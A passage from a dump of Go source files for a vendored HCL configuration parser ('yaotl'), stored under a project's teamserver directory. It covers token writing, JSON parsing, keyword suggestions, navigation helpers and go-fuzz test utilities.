{\n                        t.Logf(\" - %s\", diag.Error())\n                    }\n                    t.Fatalf(\"unexpected diagnostics in JustAttributes %s\", phase)\n                }\n\n                vals := map[string]cty.Value{}\n                for k, attr := range attrs {\n                    val, diags := attr.Expr.Value(ctx)\n                    if len(diags) != 0 {\n                        for _, diag := range diags {\n                            t.Logf(\" - %s\", diag.Error())\n                        }\n                        t.Fatalf(\"unexpected diagnostics evaluating %s\", phase)\n                    }\n                    vals[k] = val\n                }\n                return cty.ObjectVal(vals)\n            }\n\n            src := []byte(test)\n            before := attrsAsObj(src, \"before\")\n\n            formatted := Format(src)\n            after := attrsAsObj(formatted, \"after\")\n\n            if !after.RawEquals(before) {\n                t.Errorf(\"mismatching after format\\nbefore: %#v\\nafter:  %#v\", before, after)\n            }\n        })\n    }\n\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/tokens.go",
    "content": "package hclwrite\n\nimport (\n    \"bytes\"\n    \"io\"\n\n    \"github.com/apparentlymart/go-textseg/v13/textseg\"\n    \"Havoc/pkg/profile/yaotl\"\n    \"Havoc/pkg/profile/yaotl/hclsyntax\"\n)\n\n// Token is a single sequence of bytes annotated with a type. It is similar\n// in purpose to hclsyntax.Token, but discards the source position information\n// since that is not useful in code generation.\ntype Token struct {\n    Type  hclsyntax.TokenType\n    Bytes []byte\n\n    // We record the number of spaces before each token so that we can\n    // reproduce the exact layout of the original file when we're making\n    // surgical changes in-place. When _new_ code is created it will always\n    // be in the canonical style, but we preserve layout of existing code.\n    SpacesBefore int\n}\n\n// asHCLSyntax returns the receiver expressed as an incomplete hclsyntax.Token.\n// A complete token is not possible since we don't have source location\n// information here, and so this method is unexported so we can be sure it will\n// only be used for internal purposes where we know the range isn't important.\n//\n// This is primarily intended to allow us to re-use certain functionality from\n// hclsyntax rather than re-implementing it against our own token type here.\nfunc (t *Token) asHCLSyntax() hclsyntax.Token {\n    return hclsyntax.Token{\n        Type:  t.Type,\n        Bytes: t.Bytes,\n        Range: hcl.Range{\n            Filename: \"<invalid>\",\n        },\n    }\n}\n\n// Tokens is a flat list of tokens.\ntype Tokens []*Token\n\nfunc (ts Tokens) Bytes() []byte {\n    buf := &bytes.Buffer{}\n    ts.WriteTo(buf)\n    return buf.Bytes()\n}\n\nfunc (ts Tokens) testValue() string {\n    return string(ts.Bytes())\n}\n\n// Columns returns the number of columns (grapheme clusters) the token sequence\n// occupies. The result is not meaningful if there are newline or single-line\n// comment tokens in the sequence.\nfunc (ts Tokens) Columns() int {\n    ret := 0\n    for _, token := range ts {\n        ret += token.SpacesBefore // spaces are always worth one column each\n        ct, _ := textseg.TokenCount(token.Bytes, textseg.ScanGraphemeClusters)\n        ret += ct\n    }\n    return ret\n}\n\n// WriteTo takes an io.Writer and writes the bytes for each token to it,\n// along with the spacing that separates each token. In other words, this\n// allows serializing the tokens to a file or other such byte stream.\nfunc (ts Tokens) WriteTo(wr io.Writer) (int64, error) {\n    // We know we're going to be writing a lot of small chunks of repeated\n    // space characters, so we'll prepare a buffer of these that we can\n    // easily pass to wr.Write without any further allocation.\n    spaces := make([]byte, 40)\n    for i := range spaces {\n        spaces[i] = ' '\n    }\n\n    var n int64\n    var err error\n    for _, token := range ts {\n        if err != nil {\n            return n, err\n        }\n\n        for spacesBefore := token.SpacesBefore; spacesBefore > 0; spacesBefore -= len(spaces) {\n            thisChunk := spacesBefore\n            if thisChunk > len(spaces) {\n                thisChunk = len(spaces)\n            }\n            var thisN int\n            thisN, err = wr.Write(spaces[:thisChunk])\n            n += int64(thisN)\n            if err != nil {\n                return n, err\n            }\n        }\n\n        var thisN int\n        thisN, err = wr.Write(token.Bytes)\n        n += int64(thisN)\n    }\n\n    return n, err\n}\n\nfunc (ts Tokens) walkChildNodes(w internalWalkFunc) {\n    // Unstructured tokens have no child nodes\n}\n\nfunc (ts Tokens) BuildTokens(to Tokens) Tokens {\n    return append(to, ts...)\n}\n\nfunc newIdentToken(name string) *Token {\n    return &Token{\n        Type:  hclsyntax.TokenIdent,\n        Bytes: []byte(name),\n    }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/json/ast.go",
    "content": "package json\n\nimport (\n    \"math/big\"\n\n    \"Havoc/pkg/profile/yaotl\"\n)\n\ntype node interface {\n    Range() hcl.Range\n    StartRange() hcl.Range\n}\n\ntype objectVal struct {\n    Attrs      []*objectAttr\n    SrcRange   hcl.Range // range of the entire object, brace-to-brace\n    OpenRange  hcl.Range // range of the opening brace\n    CloseRange hcl.Range // range of the closing brace\n}\n\nfunc (n *objectVal) Range() hcl.Range {\n    return n.SrcRange\n}\n\nfunc (n *objectVal) StartRange() hcl.Range {\n    return n.OpenRange\n}\n\ntype objectAttr struct {\n    Name      string\n    Value     node\n    NameRange hcl.Range // range of the name string\n}\n\nfunc (n *objectAttr) Range() hcl.Range {\n    return n.NameRange\n}\n\nfunc (n *objectAttr) StartRange() hcl.Range {\n    return n.NameRange\n}\n\ntype arrayVal struct {\n    Values    []node\n    SrcRange  hcl.Range // range of the entire object, bracket-to-bracket\n    OpenRange hcl.Range // range of the opening bracket\n}\n\nfunc (n *arrayVal) Range() hcl.Range {\n    return n.SrcRange\n}\n\nfunc (n *arrayVal) StartRange() hcl.Range {\n    return n.OpenRange\n}\n\ntype booleanVal struct {\n    Value    bool\n    SrcRange hcl.Range\n}\n\nfunc (n *booleanVal) Range() hcl.Range {\n    return n.SrcRange\n}\n\nfunc (n *booleanVal) StartRange() hcl.Range {\n    return n.SrcRange\n}\n\ntype numberVal struct {\n    Value    *big.Float\n    SrcRange hcl.Range\n}\n\nfunc (n *numberVal) Range() hcl.Range {\n    return n.SrcRange\n}\n\nfunc (n *numberVal) StartRange() hcl.Range {\n    return n.SrcRange\n}\n\ntype stringVal struct {\n    Value    string\n    SrcRange hcl.Range\n}\n\nfunc (n *stringVal) Range() hcl.Range {\n    return n.SrcRange\n}\n\nfunc (n *stringVal) StartRange() hcl.Range {\n    return n.SrcRange\n}\n\ntype nullVal struct {\n    SrcRange hcl.Range\n}\n\nfunc (n *nullVal) Range() hcl.Range {\n    return n.SrcRange\n}\n\nfunc (n *nullVal) StartRange() hcl.Range {\n    return n.SrcRange\n}\n\n// invalidVal is used as a placeholder where a value is needed for a valid\n// parse tree but the input was invalid enough to prevent one from being\n// created.\ntype invalidVal struct {\n    SrcRange hcl.Range\n}\n\nfunc (n invalidVal) Range() hcl.Range {\n    return n.SrcRange\n}\n\nfunc (n invalidVal) StartRange() hcl.Range {\n    return n.SrcRange\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/json/didyoumean.go",
    "content": "package json\n\nimport (\n\t\"github.com/agext/levenshtein\"\n)\n\nvar keywords = []string{\"false\", \"true\", \"null\"}\n\n// keywordSuggestion tries to find a valid JSON keyword that is close to the\n// given string and returns it if found. If no keyword is close enough, returns\n// the empty string.\nfunc keywordSuggestion(given string) string {\n\treturn nameSuggestion(given, keywords)\n}\n\n// nameSuggestion tries to find a name from the given slice of suggested names\n// that is close to the given name and returns it if found. If no suggestion\n// is close enough, returns the empty string.\n//\n// The suggestions are tried in order, so earlier suggestions take precedence\n// if the given string is similar to two or more suggestions.\n//\n// This function is intended to be used with a relatively-small number of\n// suggestions. It's not optimized for hundreds or thousands of them.\nfunc nameSuggestion(given string, suggestions []string) string {\n\tfor _, suggestion := range suggestions {\n\t\tdist := levenshtein.Distance(given, suggestion, nil)\n\t\tif dist < 3 { // threshold determined experimentally\n\t\t\treturn suggestion\n\t\t}\n\t}\n\treturn \"\"\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/json/didyoumean_test.go",
    "content": "package json\n\nimport \"testing\"\n\nfunc TestKeywordSuggestion(t *testing.T) {\n\ttests := []struct {\n\t\tInput, Want string\n\t}{\n\t\t{\"true\", \"true\"},\n\t\t{\"false\", \"false\"},\n\t\t{\"null\", \"null\"},\n\t\t{\"bananas\", \"\"},\n\t\t{\"NaN\", \"\"},\n\t\t{\"Inf\", \"\"},\n\t\t{\"Infinity\", \"\"},\n\t\t{\"void\", \"\"},\n\t\t{\"undefined\", \"\"},\n\n\t\t{\"ture\", \"true\"},\n\t\t{\"tru\", \"true\"},\n\t\t{\"tre\", \"true\"},\n\t\t{\"treu\", \"true\"},\n\t\t{\"rtue\", \"true\"},\n\n\t\t{\"flase\", \"false\"},\n\t\t{\"fales\", \"false\"},\n\t\t{\"flse\", \"false\"},\n\t\t{\"fasle\", \"false\"},\n\t\t{\"fasel\", \"false\"},\n\t\t{\"flue\", \"false\"},\n\n\t\t{\"nil\", \"null\"},\n\t\t{\"nul\", \"null\"},\n\t\t{\"unll\", \"null\"},\n\t\t{\"nll\", \"null\"},\n\t}\n\n\tfor _, test := range tests {\n\t\tt.Run(test.Input, func(t *testing.T) {\n\t\t\tgot := keywordSuggestion(test.Input)\n\t\t\tif got != test.Want {\n\t\t\t\tt.Errorf(\n\t\t\t\t\t\"wrong result\\ninput: %q\\ngot:   %q\\nwant:  %q\",\n\t\t\t\t\ttest.Input, got, test.Want,\n\t\t\t\t)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/json/doc.go",
    "content": "// Package json is the JSON parser for HCL. It parses JSON files and returns\n// implementations of the core HCL structural interfaces in terms of the\n// JSON data inside.\n//\n// This is not a generic JSON parser. Instead, it deals with the mapping from\n// the JSON information model to the HCL information model, using a number\n// of hard-coded structural conventions.\n//\n// In most cases applications will not import this package directly, but will\n// instead access its functionality indirectly through functions in the main\n// \"hcl\" package and in the \"hclparse\" package.\npackage json\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/json/fuzz/Makefile",
    "content": "\nifndef FUZZ_WORK_DIR\n$(error FUZZ_WORK_DIR is not set)\nendif\n\ndefault:\n\t@echo \"See README.md for usage instructions\"\n\nfuzz-config: fuzz-exec-config\n\nfuzz-exec-%: fuzz%-fuzz.zip\n\tgo-fuzz -bin=./fuzz$*-fuzz.zip -workdir=$(FUZZ_WORK_DIR)\n\nfuzz%-fuzz.zip: %/fuzz.go\n\tgo-fuzz-build Havoc/pkg/profile/yaotl/json/fuzz/$*\n\ntools:\n\tgo get -u github.com/dvyukov/go-fuzz/go-fuzz\n\tgo get -u github.com/dvyukov/go-fuzz/go-fuzz-build\n\nclean:\n\trm fuzz*-fuzz.zip\n\n.PHONY: tools clean fuzz-config fuzz-expr fuzz-template fuzz-traversal\n.PRECIOUS: fuzzconfig-fuzz.zip fuzzexpr-fuzz.zip fuzztemplate-fuzz.zip fuzztraversal-fuzz.zip\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/json/fuzz/README.md",
    "content": "# JSON syntax fuzzing utilities\n\nThis directory contains helper functions and corpuses that can be used to\nfuzz-test the HCL JSON parser using [go-fuzz](https://github.com/dvyukov/go-fuzz).\n\n## Work directory\n\n`go-fuzz` needs a working directory where it can keep state as it works.  This\nshould ideally be in a ramdisk for efficiency, and should probably _not_ be on\nan SSD to avoid thrashing it. Here's how to create a ramdisk:\n\n### macOS\n\n```\n$ SIZE_IN_MB=1024\n$ DEVICE=`hdiutil attach -nobrowse -nomount ram://$(($SIZE_IN_MB*2048))`\n$ diskutil erasevolume HFS+ RamDisk $DEVICE\n$ export RAMDISK=/Volumes/RamDisk\n```\n\n### Linux\n\n```\n$ mkdir /mnt/ramdisk\n$ mount -t tmpfs -o size=1024M tmpfs /mnt/ramdisk\n$ export RAMDISK=/mnt/ramdisk\n```\n\n## Running the fuzzer\n\nNext, install `go-fuzz` and its build tool in your `GOPATH`:\n\n```\n$ make tools FUZZ_WORK_DIR=$RAMDISK\n```\n\nNow you can fuzz the parser:\n\n```\n$ make fuzz-config FUZZ_WORK_DIR=$RAMDISK/json-fuzz-config\n```\n\n~> Note: `go-fuzz` does not interact well with `goenv`. If you encounter build\nerrors where the package `go.fuzz.main` could not be found, you may need to use\na machine with a direct installation of Go.\n\n## Understanding the result\n\nA small number of subdirectories will be created in the work directory.\n\nIf you let `go-fuzz` run for a few minutes (the more minutes the better) it\nmay detect \"crashers\", which are inputs that caused the parser to panic. Details\nabout these are written to `$FUZZ_WORK_DIR/crashers`:\n\n```\n$ ls /tmp/hcl2-fuzz-config/crashers\n7f5e9ec80c89da14b8b0b238ec88969f658f5a2d\n7f5e9ec80c89da14b8b0b238ec88969f658f5a2d.output\n7f5e9ec80c89da14b8b0b238ec88969f658f5a2d.quoted\n```\n\nThe base file above (with no extension) is the input that caused a crash. The\n`.output` file contains the panic stack trace, which you can use as a clue to\nfigure out what caused the crash.\n\nA good first step to fixing a detected crasher is to copy the failing input\ninto one of the unit tests in the `hcl/json` package and see it crash there\ntoo. After that, it's easy to re-run the test as you try to fix it. The\nfile with the `.quoted` extension contains a form of the input that is quoted\nin Go syntax for easy copy-paste into a test case, even if the input contains\nnon-printable characters or other inconvenient symbols.\n\n## Rebuilding for new Upstream Code\n\nAn archive file is created for `go-fuzz` to use on the first run of each\nof the above, as a `.zip` file created in this directory. If upstream code\nis changed these will need to be deleted to cause them to be rebuilt with\nthe latest code:\n\n```\n$ make clean\n```\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/json/fuzz/config/corpus/attr-expr.hcl.json",
    "content": "{\n    \"foo\": \"${upper(bar + baz[1])}\"\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/json/fuzz/config/corpus/attr-literal.hcl.json",
    "content": "{\n    \"foo\": \"bar\"\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/json/fuzz/config/corpus/block-attrs.hcl.json",
    "content": "{\n  \"block\": {\n    \"foo\": true\n  }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/json/fuzz/config/corpus/block-empty.json",
    "content": "{\n    \"block\": {}\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/json/fuzz/config/corpus/block-nested.hcl.json",
    "content": "{\n  \"block\": {\n    \"another_block\": {\n      \"foo\": \"bar\"\n    }\n  }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/json/fuzz/config/corpus/empty.hcl.json",
    "content": "{}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/json/fuzz/config/corpus/list-empty.json",
    "content": "{\n    \"hello\": []\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/json/fuzz/config/corpus/list-nested.json",
    "content": "{\n    \"hello\": [[]]\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/json/fuzz/config/corpus/list-values.json",
    "content": "{\n    \"hello\": [\n        \"hello\",\n        true,\n        1.2\n    ]\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/json/fuzz/config/corpus/number-big.hcl.json",
    "content": "{\n    \"foo\": 1.234234e30\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/json/fuzz/config/corpus/number-int.hcl.json",
    "content": "{\n    \"foo\": 1024\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/json/fuzz/config/corpus/utf8.hcl.json",
    "content": "{\n    \"foo\": \"föo ${föo(\\\"föo\\\")}\"\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/json/fuzz/config/fuzz.go",
    "content": "package fuzzconfig\n\nimport (\n    \"Havoc/pkg/profile/yaotl/json\"\n)\n\nfunc Fuzz(data []byte) int {\n    _, diags := json.Parse(data, \"<fuzz-conf>\")\n\n    if diags.HasErrors() {\n        return 0\n    }\n\n    return 1\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/json/navigation.go",
    "content": "package json\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n)\n\ntype navigation struct {\n\troot node\n}\n\n// Implementation of hcled.ContextString\nfunc (n navigation) ContextString(offset int) string {\n\tsteps := navigationStepsRev(n.root, offset)\n\tif steps == nil {\n\t\treturn \"\"\n\t}\n\n\t// We built our slice backwards, so we'll reverse it in-place now.\n\thalf := len(steps) / 2 // integer division\n\tfor i := 0; i < half; i++ {\n\t\tsteps[i], steps[len(steps)-1-i] = steps[len(steps)-1-i], steps[i]\n\t}\n\n\tret := strings.Join(steps, \"\")\n\tif len(ret) > 0 && ret[0] == '.' {\n\t\tret = ret[1:]\n\t}\n\treturn ret\n}\n\nfunc navigationStepsRev(v node, offset int) []string {\n\tswitch tv := v.(type) {\n\tcase *objectVal:\n\t\t// Do any of our properties have an object that contains the target\n\t\t// offset?\n\t\tfor _, attr := range tv.Attrs {\n\t\t\tk := attr.Name\n\t\t\tav := attr.Value\n\n\t\t\tswitch av.(type) {\n\t\t\tcase *objectVal, *arrayVal:\n\t\t\t\t// okay\n\t\t\tdefault:\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif av.Range().ContainsOffset(offset) {\n\t\t\t\treturn append(navigationStepsRev(av, offset), \".\"+k)\n\t\t\t}\n\t\t}\n\tcase *arrayVal:\n\t\t// Do any of our elements contain the target offset?\n\t\tfor i, elem := range tv.Values {\n\n\t\t\tswitch elem.(type) {\n\t\t\tcase *objectVal, *arrayVal:\n\t\t\t\t// okay\n\t\t\tdefault:\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif elem.Range().ContainsOffset(offset) {\n\t\t\t\treturn append(navigationStepsRev(elem, offset), fmt.Sprintf(\"[%d]\", i))\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/json/navigation_test.go",
    "content": "package json\n\nimport (\n\t\"fmt\"\n\t\"strconv\"\n\t\"testing\"\n)\n\nfunc TestNavigationContextString(t *testing.T) {\n\tsrc := `\n{\n  \"version\": 1,\n  \"resource\": {\n    \"null_resource\": {\n      \"baz\": {\n        \"id\": \"foo\"\n\t\t\t},\n\t\t\t\"boz\": [\n\t\t\t\t{\n\t\t\t\t\t\"ov\": {   }\n\t\t\t\t}\n\t\t\t]\n    }\n  }\n}\n`\n\tfile, diags := Parse([]byte(src), \"test.json\")\n\tif len(diags) != 0 {\n\t\tfmt.Printf(\"offset %d\\n\", diags[0].Subject.Start.Byte)\n\t\tt.Errorf(\"Unexpected diagnostics: %s\", diags)\n\t}\n\tif file == nil {\n\t\tt.Fatalf(\"Got nil file\")\n\t}\n\tnav := file.Nav.(navigation)\n\n\ttests := []struct {\n\t\tOffset int\n\t\tWant   string\n\t}{\n\t\t{0, ``},\n\t\t{8, ``},\n\t\t{36, `resource`},\n\t\t{60, `resource.null_resource`},\n\t\t{89, `resource.null_resource.baz`},\n\t\t{141, `resource.null_resource.boz`},\n\t}\n\n\tfor _, test := range tests {\n\t\tt.Run(strconv.Itoa(test.Offset), func(t *testing.T) {\n\t\t\tgot := nav.ContextString(test.Offset)\n\n\t\t\tif got != test.Want {\n\t\t\t\tt.Errorf(\"wrong result\\ngot:  %s\\nwant: %s\", got, test.Want)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/json/parser.go",
    "content": "package json\n\nimport (\n    \"encoding/json\"\n    \"fmt\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"github.com/zclconf/go-cty/cty\"\n)\n\nfunc parseFileContent(buf []byte, filename string, start hcl.Pos) (node, hcl.Diagnostics) {\n    tokens := scan(buf, pos{Filename: filename, Pos: start})\n    p := newPeeker(tokens)\n    node, diags := parseValue(p)\n    if len(diags) == 0 && p.Peek().Type != tokenEOF {\n        diags = diags.Append(&hcl.Diagnostic{\n            Severity: hcl.DiagError,\n            Summary:  \"Extraneous data after value\",\n            Detail:   \"Extra characters appear after the JSON value.\",\n            Subject:  p.Peek().Range.Ptr(),\n        })\n    }\n    return node, diags\n}\n\nfunc parseExpression(buf []byte, filename string, start hcl.Pos) (node, hcl.Diagnostics) {\n    tokens := scan(buf, pos{Filename: filename, Pos: start})\n    p := newPeeker(tokens)\n    node, diags := parseValue(p)\n    if len(diags) == 0 && p.Peek().Type != tokenEOF {\n        diags = diags.Append(&hcl.Diagnostic{\n            Severity: hcl.DiagError,\n            Summary:  \"Extraneous data after value\",\n            Detail:   \"Extra characters appear after the JSON value.\",\n            Subject:  p.Peek().Range.Ptr(),\n        })\n    }\n    return node, diags\n}\n\nfunc parseValue(p *peeker) (node, hcl.Diagnostics) {\n    tok := p.Peek()\n\n    wrapInvalid := func(n node, diags hcl.Diagnostics) (node, hcl.Diagnostics) {\n        if n != nil {\n            return n, diags\n        }\n        return invalidVal{tok.Range}, diags\n    }\n\n    switch tok.Type {\n    case tokenBraceO:\n        return wrapInvalid(parseObject(p))\n    case tokenBrackO:\n        return wrapInvalid(parseArray(p))\n    case tokenNumber:\n        return wrapInvalid(parseNumber(p))\n    case tokenString:\n        return wrapInvalid(parseString(p))\n    case tokenKeyword:\n        return wrapInvalid(parseKeyword(p))\n    case tokenBraceC:\n        return wrapInvalid(nil, hcl.Diagnostics{\n            {\n                Severity: hcl.DiagError,\n                Summary:  \"Missing JSON value\",\n                Detail:   \"A JSON value must start with a brace, a bracket, a number, a string, or a keyword.\",\n                Subject:  &tok.Range,\n            },\n        })\n    case tokenBrackC:\n        return wrapInvalid(nil, hcl.Diagnostics{\n            {\n                Severity: hcl.DiagError,\n                Summary:  \"Missing array element value\",\n                Detail:   \"A JSON value must start with a brace, a bracket, a number, a string, or a keyword.\",\n                Subject:  &tok.Range,\n            },\n        })\n    case tokenEOF:\n        return wrapInvalid(nil, hcl.Diagnostics{\n            {\n                Severity: hcl.DiagError,\n                Summary:  \"Missing value\",\n                Detail:   \"The JSON data ends prematurely.\",\n                Subject:  &tok.Range,\n            },\n        })\n    default:\n        return wrapInvalid(nil, hcl.Diagnostics{\n            {\n                Severity: hcl.DiagError,\n                Summary:  \"Invalid start of value\",\n                Detail:   \"A JSON value must start with a brace, a bracket, a number, a string, or a keyword.\",\n                Subject:  &tok.Range,\n            },\n        })\n    }\n}\n\nfunc tokenCanStartValue(tok token) bool {\n    switch tok.Type {\n    case tokenBraceO, tokenBrackO, tokenNumber, tokenString, tokenKeyword:\n        return true\n    default:\n        return false\n    }\n}\n\nfunc parseObject(p *peeker) (node, hcl.Diagnostics) {\n    var diags hcl.Diagnostics\n\n    open := p.Read()\n    attrs := []*objectAttr{}\n\n    // recover is used to shift the peeker to what seems to be the end of\n    // our object, so that when we encounter an error we leave the peeker\n    // at a reasonable point in the token stream to continue parsing.\n    recover := func(tok token) {\n        open := 1\n        for {\n            switch tok.Type {\n            case tokenBraceO:\n                open++\n            case tokenBraceC:\n                open--\n                if open <= 1 {\n                    return\n                }\n            case tokenEOF:\n                // Ran out of source before we were able to recover,\n                // so we'll bail here and let the caller deal with it.\n                return\n            }\n            tok = p.Read()\n        }\n    }\n\nToken:\n    for {\n        if p.Peek().Type == tokenBraceC {\n            break Token\n        }\n\n        keyNode, keyDiags := parseValue(p)\n        diags = diags.Extend(keyDiags)\n        if keyNode == nil {\n            return nil, diags\n        }\n\n        keyStrNode, ok := keyNode.(*stringVal)\n        if !ok {\n            return nil, diags.Append(&hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Invalid object property name\",\n                Detail:   \"A JSON object property name must be a string\",\n                Subject:  keyNode.StartRange().Ptr(),\n            })\n        }\n\n        key := keyStrNode.Value\n\n        colon := p.Read()\n        if colon.Type != tokenColon {\n            recover(colon)\n\n            if colon.Type == tokenBraceC || colon.Type == tokenComma {\n                // Catch common mistake of using braces instead of brackets\n                // for an object.\n                return nil, diags.Append(&hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Missing object value\",\n                    Detail:   \"A JSON object attribute must have a value, introduced by a colon.\",\n                    Subject:  &colon.Range,\n                })\n            }\n\n            if colon.Type == tokenEquals {\n                // Possible confusion with native HCL syntax.\n                return nil, diags.Append(&hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Missing property value colon\",\n                    Detail:   \"JSON uses a colon as its name/value delimiter, not an equals sign.\",\n                    Subject:  &colon.Range,\n                })\n            }\n\n            return nil, diags.Append(&hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Missing property value colon\",\n                Detail:   \"A colon must appear between an object property's name and its value.\",\n                Subject:  &colon.Range,\n            })\n        }\n\n        valNode, valDiags := parseValue(p)\n        diags = diags.Extend(valDiags)\n        if valNode == nil {\n            return nil, diags\n        }\n\n        attrs = append(attrs, &objectAttr{\n            Name:      key,\n            Value:     valNode,\n            NameRange: keyStrNode.SrcRange,\n        })\n\n        switch p.Peek().Type {\n        case tokenComma:\n            comma := p.Read()\n            if p.Peek().Type == tokenBraceC {\n                // Special error message for this common mistake\n                return nil, diags.Append(&hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Trailing comma in object\",\n                    Detail:   \"JSON does not permit a trailing comma after the final property in an object.\",\n                    Subject:  &comma.Range,\n                })\n            }\n            continue Token\n        case tokenEOF:\n            return nil, diags.Append(&hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Unclosed object\",\n                Detail:   \"No closing brace was found for this JSON object.\",\n                Subject:  &open.Range,\n            })\n        case tokenBrackC:\n            // Consume the bracket anyway, so that we don't return with the peeker\n            // at a strange place.\n            p.Read()\n            return nil, diags.Append(&hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Mismatched braces\",\n                Detail:   \"A JSON object must be closed with a brace, not a bracket.\",\n                Subject:  p.Peek().Range.Ptr(),\n            })\n        case tokenBraceC:\n            break Token\n        default:\n            recover(p.Read())\n            return nil, diags.Append(&hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Missing attribute separator comma\",\n                Detail:   \"A comma must appear between each property definition in an object.\",\n                Subject:  p.Peek().Range.Ptr(),\n            })\n        }\n\n    }\n\n    close := p.Read()\n    return &objectVal{\n        Attrs:      attrs,\n        SrcRange:   hcl.RangeBetween(open.Range, close.Range),\n        OpenRange:  open.Range,\n        CloseRange: close.Range,\n    }, diags\n}\n\nfunc parseArray(p *peeker) (node, hcl.Diagnostics) {\n    var diags hcl.Diagnostics\n\n    open := p.Read()\n    vals := []node{}\n\n    // recover is used to shift the peeker to what seems to be the end of\n    // our array, so that when we encounter an error we leave the peeker\n    // at a reasonable point in the token stream to continue parsing.\n    recover := func(tok token) {\n        open := 1\n        for {\n            switch tok.Type {\n            case tokenBrackO:\n                open++\n            case tokenBrackC:\n                open--\n                if open <= 1 {\n                    return\n                }\n            case tokenEOF:\n                // Ran out of source before we were able to recover,\n                // so we'll bail here and let the caller deal with it.\n                return\n            }\n            tok = p.Read()\n        }\n    }\n\nToken:\n    for {\n        if p.Peek().Type == tokenBrackC {\n            break Token\n        }\n\n        valNode, valDiags := parseValue(p)\n        diags = diags.Extend(valDiags)\n        if valNode == nil {\n            return nil, diags\n        }\n\n        vals = append(vals, valNode)\n\n        switch p.Peek().Type {\n        case tokenComma:\n            comma := p.Read()\n            if p.Peek().Type == tokenBrackC {\n                // Special error message for this common mistake\n                return nil, diags.Append(&hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Trailing comma in array\",\n                    Detail:   \"JSON does not permit a trailing comma after the final value in an array.\",\n                    Subject:  &comma.Range,\n                })\n            }\n            continue Token\n        case tokenColon:\n            recover(p.Read())\n            return nil, diags.Append(&hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Invalid array value\",\n                Detail:   \"A colon is not used to introduce values in a JSON array.\",\n                Subject:  p.Peek().Range.Ptr(),\n            })\n        case tokenEOF:\n            recover(p.Read())\n            return nil, diags.Append(&hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Unclosed object\",\n                Detail:   \"No closing bracket was found for this JSON array.\",\n                Subject:  &open.Range,\n            })\n        case tokenBraceC:\n            recover(p.Read())\n            return nil, diags.Append(&hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Mismatched brackets\",\n                Detail:   \"A JSON array must be closed with a bracket, not a brace.\",\n                Subject:  p.Peek().Range.Ptr(),\n            })\n        case tokenBrackC:\n            break Token\n        default:\n            recover(p.Read())\n            return nil, diags.Append(&hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Missing attribute separator comma\",\n                Detail:   \"A comma must appear between each value in an array.\",\n                Subject:  p.Peek().Range.Ptr(),\n            })\n        }\n\n    }\n\n    close := p.Read()\n    return &arrayVal{\n        Values:    vals,\n        SrcRange:  hcl.RangeBetween(open.Range, close.Range),\n        OpenRange: open.Range,\n    }, diags\n}\n\nfunc parseNumber(p *peeker) (node, hcl.Diagnostics) {\n    tok := p.Read()\n\n    // Use encoding/json to validate the number syntax.\n    // TODO: Do this more directly to produce better diagnostics.\n    var num json.Number\n    err := json.Unmarshal(tok.Bytes, &num)\n    if err != nil {\n        return nil, hcl.Diagnostics{\n            {\n                Severity: hcl.DiagError,\n                Summary:  \"Invalid JSON number\",\n                Detail:   fmt.Sprintf(\"There is a syntax error in the given JSON number.\"),\n                Subject:  &tok.Range,\n            },\n        }\n    }\n\n    // We want to guarantee that we parse numbers the same way as cty (and thus\n    // native syntax HCL) would here, so we'll use the cty parser even though\n    // in most other cases we don't actually introduce cty concepts until\n    // decoding time. We'll unwrap the parsed float immediately afterwards, so\n    // the cty value is just a temporary helper.\n    nv, err := cty.ParseNumberVal(string(num))\n    if err != nil {\n        // Should never happen if above passed, since JSON numbers are a subset\n        // of what cty can parse...\n        return nil, hcl.Diagnostics{\n            {\n                Severity: hcl.DiagError,\n                Summary:  \"Invalid JSON number\",\n                Detail:   fmt.Sprintf(\"There is a syntax error in the given JSON number.\"),\n                Subject:  &tok.Range,\n            },\n        }\n    }\n\n    return &numberVal{\n        Value:    nv.AsBigFloat(),\n        SrcRange: tok.Range,\n    }, 